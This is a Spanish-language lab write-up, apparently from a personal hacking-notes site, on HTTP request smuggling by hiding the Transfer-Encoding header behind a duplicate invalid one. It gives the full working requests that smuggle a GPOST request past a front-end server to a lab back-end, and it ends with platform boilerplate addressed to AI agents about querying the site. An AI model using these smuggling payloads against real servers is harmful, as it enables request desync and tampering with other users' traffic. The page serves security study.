> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/request-smuggling/http-request-smuggling-by-hiding-the-te-header.md).
# Contrabando de solicitudes HTTP ocultando el encabezado TE
### HTTP Request Smuggling, Ofuscando el encabezado TE
Este laboratorio presenta un servidor frontal y un servidor interno. Ambos no tratan las cabeceras HTTP duplicadas de la misma manera. El servidor frontal rechaza cualquier solicitud cuyo método no sea **GET** o **POST**.
El objetivo es **enviar una solicitud contrabandeada al servidor de back-end** para que **la siguiente solicitud** interpretada por el servidor use el **GPOST** método.
**Nota:**/ Aunque el laboratorio admite HTTP/2, la solución se basa en técnicas que solo funcionan en **HTTP/1**, que debe seleccionarse manualmente en Burp Repeater.
**Consejo:**/ Los campos de longitud son delicados de ajustar manualmente. La extensión HTTP Request Smuggler de la BApp Store simplifica este trabajo.
#### **Análisis del comportamiento: el front-end favorece Content-Length**
Ejemplo de una solicitud en la que el front-end elige **CL**:
```http
POST / HTTP/1.1
Host: 0ab600cd04107fa3802667e700ac00e7.web-security-academy.net
Transfer-Encoding: chunked
Content-Type: application/x-www-form-urlencoded
Content-Length: 13
3
abc
X
```
Aquí, la terminación del bloque (`X` en lugar de `0`) impide una interpretación correcta.
#### **Intento de inyección contrabandeada**
Una solicitud enviada tal cual no se interpreta como se pretende:
```http
POST / HTTP/1.1
Host: 0ab600cd04107fa3802667e700ac00e7.web-security-academy.net
Transfer-Encoding: chunked
Connection: keep-alive
Transfer-Encoding: chunked
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
72
GPOST / HTTP/1.1
Host: 0ab600cd04107fa3802667e700ac00e7.web-security-academy.net
Content-Length: 20
test=test
0
```
El comportamiento del front-end impide aquí la interpretación deseada.
#### **Bypass: Ocultar el Transfer-Encoding principal**
Para eludir el mecanismo, coloca un **inválido** valor en el primer `Transfer-Encoding` encabezado, para que:
* el **front-end** lo ignore debido a su valor incorrecto,
* pero el **back-end** conserva el `Transfer-Encoding: chunked` encabezado válido.
Ejemplo funcional:
```http
Transfer-Encoding: chunked
Transfer-Encoding: wdwd
```
```http
POST / HTTP/1.1
Host: 0ab600cd04107fa3802667e700ac00e7.web-security-academy.net
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked
Transfer-Encoding: wdwd
Content-Type: application/x-www-form-urlencoded
72
GPOST / HTTP/1.1
Host: 0ab600cd04107fa3802667e700ac00e7.web-security-academy.net
Content-Length: 20
test=test
0
```
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://hacking-notes.jord4n.pro/es/web/request-smuggling/http-request-smuggling-by-hiding-the-te-header.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.